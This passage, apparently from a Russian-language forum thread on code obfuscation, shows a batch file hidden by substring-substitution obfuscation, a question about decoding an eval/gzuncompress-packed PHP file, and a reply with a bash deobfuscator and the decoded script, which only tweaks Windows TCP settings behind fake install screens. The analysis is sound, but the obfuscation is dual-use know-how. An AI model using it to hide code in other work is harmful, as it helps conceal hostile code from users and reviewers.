    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% %aaje:~51,1%%aaje:~27,1%%aaje:~24,1%%aaje:~16,1%%aaje:~27,1%%aaje:~14,1%%aaje:~28,1%%aaje:~28,1%: 께께께께께?           
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% ----------------------------------
    %aaje:~29,1%%aaje:~18,1%%aaje:~22,1%%aaje:~14,1%%aaje:~24,1%%aaje:~30,1%%aaje:~29,1% /%aaje:~29,1% %aaje:~1,1% /%aaje:~49,1%%aaje:~50,1%%aaje:~37,1%%aaje:~53,1%%aaje:~40,1%%aaje:~36,1%%aaje:~46,1% >%aaje:~49,1%%aaje:~56,1%
    %aaje:~12,1%%aaje:~21,1%%aaje:~28,1%
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% %aaje:~44,1%%aaje:~49,1%%aaje:~54,1%%aaje:~55,1%%aaje:~36,1%%aaje:~47,1%%aaje:~47,1%%aaje:~44,1%%aaje:~49,1%%aaje:~42,1% %aaje:~38,1%%aaje:~50,1%%aaje:~48,1%%aaje:~51,1%%aaje:~47,1%%aaje:~40,1%%aaje:~55,1%%aaje:~40,1%...
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% ----------------------------------
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% %aaje:~51,1%%aaje:~27,1%%aaje:~24,1%%aaje:~16,1%%aaje:~27,1%%aaje:~14,1%%aaje:~28,1%%aaje:~28,1%: 께께께께께께께께께께께
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~12,1%%aaje:~24,1%%aaje:~21,1%%aaje:~24,1%%aaje:~27,1% %aaje:~4,1%
    
    %aaje:~25,1%%aaje:~10,1%%aaje:~30,1%%aaje:~28,1%%aaje:~14,1%
    
     
  17. kacergei

    kacergei Member

    Joined:
    26 May 2007
    Messages:
    239
    Likes Received:
    87
    Reputations:
    1
    Добрый, ребят подскажите как привести данный код в нормальный вид?
    http://sa1nt.ru/1.txt
    Как вывести в нормальный вид без этого "__halt_compiler();"
    Вначале казалось фигней
    eval'ы
    $b_="Z3p1bmNvbXByZXNz";//gzuncompress
    но потом понял что не могу понять закономерность((( А точнее просто навыков и знаний не хватает
     
  18. fandor9

    fandor9 Well-Known Member

    Joined:
    16 Nov 2018
    Messages:
    441
    Likes Received:
    677
    Reputations:
    19
    В принципе не сложно, можно и питоном, можно и башем:
    Code:
    #!/bin/bash
    dict="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    max=$((${#dict}-1));
    echo "max:$max";
    input="obfuscated1.bat"; 
    output="deobfuscated1.bat";
    for i in $(seq 0 $max); do
        echo "aaje[$i]:${dict:$i:1}";
        sed "s/\%aaje\:\~$i\,1\%/${dict:$i:1}/g" $input > $output;
        mv $output $input;
    done
    Вот что вышло:
    Code:
    @shift /0
    @echo off
    Set aaje=0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
    cls
    @Echo off
    title RoyALMethod V.1
    color 0d
    CLS
    Echo.
    ECHO ######                  #    #          #     #                                 
    ECHO #     #  ####  #   #   # #   #          ##   ## ###### ##### #    #  ####  #####
    ECHO #     # #    #  # #   #   #  #          # # # # #        #   #    # #    # #    #
    ECHO ######  #    #   #   #     # #          #  #  # #####    #   ###### #    # #    #
    ECHO #   #   #    #   #   ####### #          #     # #        #   #    # #    # #    #
    ECHO #    #  #    #   #   #     # #          #     # #        #   #    # #    # #    #
    ECHO #     #  ####    #   #     # #######    #     # ######   #   #    #  ####  #####
    Echo.
    ECHO --------
    echo Version 1.0
    ECHO --------
    pause
    CLS
    
    echo.
    cls
    color e0
    echo.
    echo.
    echo INSTALLATION ...
    echo ----------------------------------
    echo Progress: Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤?         
    echo ----------------------------------
    timeout /t 1 /NOBREAK >NU
    cls
    echo.
    echo.
    echo INSTALLING...
    echo ----------------------------------
    echo Progress: Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤
    echo ----------------------------------
    timeout /t 1 /NOBREAK >NU
    cls
    Powershell.exe Set-NetTCPSetting -SettingName Internet -AutoTuningLevelLocal Disabled
    Powershell.exe Set-NetTCPSetting -SettingName Internet -MaxSynRetransmission 2
    Powershell.exe Set-NetTCPSetting -SettingName Internet -EcnCapability Disabled
    Powershell.exe Set-NetTCPSetting -SettingName Internet -NonSackRttResiliency Disabled
    Powershell.exe Set-NetTCPSetting -SettingName Internet -ScalingHeuristic Disabled
    cls
    color a0
    echo.
    echo.
    echo INSTALLING...
    echo ----------------------------------
    echo Progress: Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤?         
    echo ----------------------------------
    timeout /t 1 /NOBREAK >NU
    cls
    echo.
    echo.
    echo INSTALLING...
    echo ----------------------------------
    echo Progress: Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤
    echo ----------------------------------
    timeout /t 1 /NOBREAK >NU
    cls
    netsh int tcp set global rss=enabled
    netsh int tcp set global dca=enabled
    netsh int tcp set supplemental internet congestionprovider=ctcp
    cls
    color c0
    echo.
    echo.
    echo INSTALLING...
    echo ----------------------------------
    echo Progress: Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤?         
    echo ----------------------------------
    timeout /t 1 /NOBREAK >NU
    cls
    echo.
    echo.
    echo INSTALLING...
    echo ----------------------------------
    echo Progress: Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤
    echo ----------------------------------
    timeout /t 1 /NOBREAK >NU
    cls
    Powershell.exe Get-NetOffloadGlobalSetting
    cls
    Powershell.exe Set-NetOffloadGlobalSetting -Chimney Disable
    cls
    Powershell.exe Get-NetTCPSetting
    cls
    color d0
    echo.
    echo.
    echo INSTALLING...
    echo ----------------------------------
    echo Progress: Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤?         
    echo ----------------------------------
    timeout /t 1 /NOBREAK >NU
    cls
    echo.
    echo.
    echo INSTALLING COMPLETE...
    echo ----------------------------------
    echo Progress: Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤Й╩≤
    echo.
    echo.
    color 4
    
    pause
    
    что там за каракули выдаёт, я не знаю, так как в вашем скрипте тоже только каракули, но в принципе там ничего важного, просто прогрес "установки".
     
    #1078 fandor9, 22 Jul 2020
    Last edited: 22 Jul 2020
    quite gray likes this.
  19. Alex260

    Alex260 New Member

    Joined:
    25 Jul 2020
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    #1079 Alex260, 25 Jul 2020
    Last edited: 25 Jul 2020
Loading...
Similar Threads - Обфускация кода вопросы
  1. PalaceCash
    Replies:
    4
    Views:
    1,008
  2. gentype
    Replies:
    3
    Views:
    2,719
  3. SuNDowN
    Replies:
    20
    Views:
    7,325
  4. vvs777
    Replies:
    2
    Views:
    2,239